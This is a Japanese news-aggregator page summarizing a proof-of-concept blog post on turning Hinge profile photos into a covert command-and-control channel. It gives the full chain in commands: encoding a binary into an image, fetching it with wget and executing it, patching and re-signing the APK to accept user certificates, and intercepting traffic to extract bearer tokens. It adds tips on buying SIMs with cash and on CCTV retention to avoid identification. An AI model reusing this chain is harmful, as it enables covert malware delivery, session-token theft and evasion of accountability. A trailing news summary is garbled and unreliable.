「Hingeをコマンド・アンド・コントロールサーバーとして利用」

2026/01/04 23:08

「Hingeをコマンド・アンド・コントロールサーバーとして利用」

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

## Summary
この記事は、Hinge の弱いセキュリティ体制を悪用して、同アプリを隠しコマンド・アンド・コントロール(C2)チャネルに変える概念実証を示しています。アプリには証明書ピニングがなく、公開 API エンドポイントが露出しているため、攻撃者は以下のような呼び出しをリバースエンジニアリングできます。
`https://prod-api.hingeaws.net/content/v2/public?ids=<userId>`  
この URL は、すべての写真・キャプション・回答・メディア URL を返します。

Python スクリプト(`enc.py`)は、バイナリペイロードを画像にエンコードし、プロフィール画像としてアップロードし、その後取得してデコードして任意コードを実行する方法を示しています。中間者攻撃(MITM)を行うために、著者は `network_security_config.xml` をパッチし、アプリが平文トラフィックとユーザーインストール証明書を受け入れるように設定します。その後、APK を `uber-apk-signer` で再署名し、パッチ済みバンドル(`base.apk` とスプリット構成)を `adb install-multiple` でインストールします。mitmproxy をセットアップすると、攻撃者は Hinge の API へのリクエストをキャプチャし、以下の認証ヘッダーを抽出できます。
- `x-app-version`
- `authorization Bearer <token>`
- `x-device-id`
- `x-install-id`

GitHub リポジトリ(https://github.com/matthewwiese/hinge-command-control-c2)には、すべてのスクリプト、パッチユーティリティ、およびドキュメントが含まれています。著者は、Mint Mobile の無料トライアル SIM や eBay / Target / Best Buy で購入した電話番号を使用すると、テストアカウント作成時に検知を回避できると述べています。

Hinge の写真は公開されており、各エントリにはメタデータ(`cdnId`、`contentId`、`url`、寸法)が含まれているため、ステガノグラフィックペイロードの自動ダウンロードが可能です。記事では、Mauro Eldritch の DEF CON トークで公開回答欄にデータを埋め込む方法が引用されており、ソーシャルデーティングアプリを隠し C2 インフラとして利用する広範な脅威を強調しています。

**Implications:** ユーザーは無害に見える写真を介して秘密のデータ外部転送やリモートコード実行のリスクがあります。Hinge は評判損失、潜在的な規制監査に直面し、証明書ピニングの導入、API コントロールの強化、またはコンテンツサニタイズを検討して脅威を軽減する必要があるでしょう。

本文

免責事項
この内容は、アプリを修正し MITM を行う必要があるため、Hinge の Hacker One 開示ページでの検討対象とはなりません。この手法は複雑ですが、脅威 actor が有効に利用できる可能性があります。注意が必要です。ランダムな要素を C2(コマンド&コントロール)として作成することは無料で楽しい娯楽であり、Mauro Eldritch のデモのように実演できます。

リポジトリ
https://github.com/matthewwiese/hinge-command-control-c2


アカウント設定

Hinge が Android デバイスにインストールされていると仮定します。
最初のハードルはアカウント作成です。電話番号が必要になります。

  • 使い捨て Google Voice 番号は現在広く検知されるため、あまり利用しません。
  • 最適な調査手段として Mint Mobile の 7 日間トライアル SIM が見つかりました。
    • この番号は既に Hinge アカウントに登録されている可能性があるので、複数取得してください。

これらは eBay で購入するか、Target、Best Buy などの店舗で現金で直接入手できます。
CCTV 撮影を心配している場合、多くの店では映像を 1 か月未満で保管しますので、その点も考慮してください。


ペイロード

必要なファイルはすべて GitHub リポジトリにあります。
概念実証用 Python スクリプト (

enc.py
) はバイナリを画像へ視覚的にエンコードします(
numpy
PIL
が必要)。

  1. 「Hello World」を出力する簡易 C プログラムをコンパイル:

    gcc -s payload.c -o payload
    
  2. エンコード:

    python enc.py encode payload payload.png
    
  3. 画像を Hinge にアップロード。
    Hinge は内部で変換して CDN に保存しますが、熟練したステガノグラファーなら回避できる可能性があります。

Hinge は動画のアップロードもサポートしています。多数の画像やフレームを連結すれば、より大きなデータ量を格納できます。


Hinge の写真は公開

Hinge の非公式 API への理解は GitHub リポジトリから得られます(Reed に逆解析のお礼)。
プロファイルの秘密ユーザー ID を知っていれば、公開データを取得できます:

curl -H "x-app-version: 9.103.1" \
     -H "x-device-platform: android" \
     -H "authorization: Bearer <TOKEN>" \
     -H "x-device-id: <DEVICE_ID>" \
     -H "x-install-id: <INSTALL_ID>" \
     "https://prod-api.hingeaws.net/content/v2/public?ids=<USER_ID>"

ヘッダーは必須で、無ければ Hinge はリクエストを拒否します。
成功すると JSON が返り、写真と回答(自由形式テキストフィールド)が含まれます。そのうちの一つに公開鍵を埋め込むことも可能です。

レスポンス例(抜粋)

[
  {
    "userId":"3800512239643919861",
    "content":{
      "photos":[
        {
          "cdnId":"pu6fv3qbtwfwl4m34r2h",
          ...
          "url":"https://media.hingenexus.com/image/upload/pu6fv3qbtwfwl4m34r2h.jpg"
        },
        "...more photos..."
      ],
      "answers":[
        {
          "contentId":"7b3df417-c879-4943-bba1-277f50a1b15c",
          "response":"Hack the planet",
          ...
        },
        "...more answers..."
      ]
    }
  }
]

画像のテスト

wget https://media.hingenexus.com/image/upload/pu6fv3qbtwfwl4m34r2h.jpg
python enc.py decode pu6fv3qbtwfwl4m34r2h.jpg payload2
chmod +x payload2
./payload2

出力は「Hello World」になるはずです。


アプリのパッチ

Hinge は証明書ピンニングを実装していないため、MITM が簡単に可能です。
ルート化した端末ではシステム信頼ストアに cert を追加できますが、検知されやすいです。
代わりに USB デバッグを有効にした純正 Android フォンを使用します。

手順

  1. Hinge APK の取得

    adb shell pm list packages | grep hinge
    # => package:co.hinge.app
    
    adb shell pm path co.hinge.app
    # => base.apk, split_config.arm64_v8a.apk, split_config.xhdpi.apk
    
  2. APK の取得

    adb pull /data/app/…/base.apk .
    adb pull /data/app/…/split_config.arm64_v8a.apk .
    adb pull /data/app/…/split_config.xhdpi.apk .
    
  3. network-security-config XML を作成

    cat > nsc.xml << 'EOF'
    <?xml version="1.0" encoding="utf-8"?>
    <network-security-config>
      <base-config cleartextTrafficPermitted="true">
        <trust-anchors>
          <certificates src="system"/>
          <certificates src="user"/>
        </trust-anchors>
      </base-config>
    </network-security-config>
    EOF
    
  4. バイナリ AXML に変換

    java -jar xml2axml-2.0.1.jar e nsc.xml nsc-binary.xml
    
  5. パッチ済み APK へ注入

    cp base.apk base-patched.apk
    mkdir -p res/xml
    cp nsc-binary.xml res/xml/network_security_config.xml
    zip -d base-patched.apk "META-INF/*"
    zip -u base-patched.apk res/xml/network_security_config.xml
    java -jar uber-apk-signer-1.3.0.jar --apks base-patched.apk
    
  6. スプリット APK も同様にパッチ

    mkdir install
    cp split_config.*.apk install/
    for apk in install/split_config.*.apk; do zip -d "$apk" "META-INF/*"; done
    java -jar uber-apk-signer-1.3.0.jar --apks install/
    
  7. 再インストール

    cp base-patched-aligned-debugSigned.apk install/
    adb uninstall co.hinge.app
    cd install
    adb install-multiple base-patched-aligned-debugSigned.apk \
                         split_config.arm64_v8a-aligned-debugSigned.apk \
                         split_config.xhdpi-aligned-debugSigned.apk
    

リポジトリには自動化用のスクリプト (

patch.sh
) もあります。


Man‑in‑the‑Middle

Android フォンを

mitmproxy
用に設定します。
Hinge を開くと、mitmproxy インターフェースでリクエストが表示されます。

ユーザー ID とキー情報はさまざまなリクエストで確認できます。例:

https://prod-api.hingeaws.net/user/v3

ここから必要なヘッダーを抽出し、前述の

curl
コマンドに使用します。


おめでとうございます!
これで Hinge を使って控えめなアブストラクト表現主義ピクセルアートを配信できるようになりました。Happy New Year.

同じ日のほかのニュース

一覧に戻る →

2026/01/05 6:01

北ダコタ州法は、石炭業界の弁護士の名前に由来する偽の「クリティカルミネラル」を一覧化しています。

## Japanese Translation: **改善された要約** 記事には「State(州)」「Zip Code(郵便番号)」「Country(国)」の3つのセクション見出しのみが含まれています。これらの見出しの下に追加のテキスト、説明、または例はありません。

2026/01/05 5:17

**Show HN: AWS用ターミナル UI**

## Japanese Translation: > **概要:** > tawsはRustで書かれた軽量なターミナルUIで、k9sに触発されており、ユーザーがAWSリソースを迅速かつ効率的に管理できるようにします。リアルタイム更新、Vim風ナビゲーション(`k/j/↑/↓`, `g/G`)、リソース操作(例:EC2の開始/停止/終了は`s/S/T`)、JSON/YAMLビュー、フィルタリング、ファジー補完、およびコロン(`:`)で呼び出すリソースピッカーをサポートします。 > このツールは30個の主要AWSサービス(典型的な使用率の95%以上)にわたって動作し、マルチプロファイル/マルチリージョンナビゲーション(`p`, `R`)が可能です。Homebrew(`brew install huseyinbabal/tap/taws`)でインストールできるほか、macOS、Linux、Windows向けに事前構築済みバイナリをダウンロードして使用できます。macOS/Linux用のクイックインストールスクリプトも提供されています。 > AWS認証情報は`aws configure`、環境変数、またはIAMロールで供給でき、必要最低限の権限はDescribe*とList*です。本プロジェクトはMITライセンスで配布されており、新しいサービスを追加する前にディスカッションが奨励されています。将来のリリースではサービス対応範囲の拡大を目指し、IAM権限ギャップ、ページネーション制限、グローバルサービスデフォルトなど既知の問題にも対処します。 この改訂された概要は主要なポイントすべてを網羅しており、元の内容に忠実で、読者にとって明確かつ簡潔な概要を提供します。

2026/01/05 4:48

**Claude Code On‑the‑Go** (クレオード・コード・オンザゴー)

## Japanese Translation: **(修正版)** > 著者は、iPhone 上で 6 つの Claude Code エージェントを実行する、コスト管理済みかつモバイルフレンドリーなワークフローを構築します。 > > * **Vultr VM**(Silicon Valley の `vhf‑8c‑32gb`)を 2 本のスクリプト(`vm-start`、`vm-stop`)で起動・停止し、iOS ショートカットから呼び出します。VM は稼働時に約 **$0.29 / hr(約 $7/日)** の費用がかかります。 > > * 接続は **Tailscale のプライベートネットワーク** を介し、**Termius + mosh** で行い、Wi‑Fi / モバイル通信の切り替えや電話機のスリープ時でも継続する頑健な SSH セッションを実現します(SSH エージェントは転送されないため、GitHub 認証は tmux 内の通常キーで行います)。 > > * ログイン時にシェルが自動的に **tmux** にアタッチします(`if [[ -z "$TMUX" ]]; then tmux attach -t main || tmux new -s main fi`)、再接続時も状態を保持します。 > > * 各 Claude エージェントは、別々の Git 作業ツリー・ブランチに紐付けられた独自の tmux ウィンドウで実行されます。ポート番号は `django_port = 8001 + (hash_val % 99)` により決定的に割り当てられ、`hash_val = sum(ord(c) for c in branch_name)` です。 > > * `~/.claude/settings.json` の **PreToolUse フック** はタスク完了時に Poke にプッシュ通知を送信します。質問は `jq` で抽出し、メッセージを構築して `curl` で送信します。 > > * 全体のセットアップは、セキュリティ上隔離された消耗性 VM を使用し、潜在的な無制限利用を日次コストキャップ(約 $7)に限定しています。 > > * 開発者は電話で 10–20 分程度の Claude タスクを開始し、その間他の作業を行いながら通知が来るまで待つことができます。 この修正版要約は、すべての主要ポイントを完全に反映し、推論を避け、曖昧な表現を排除して情報を明確に提示しています。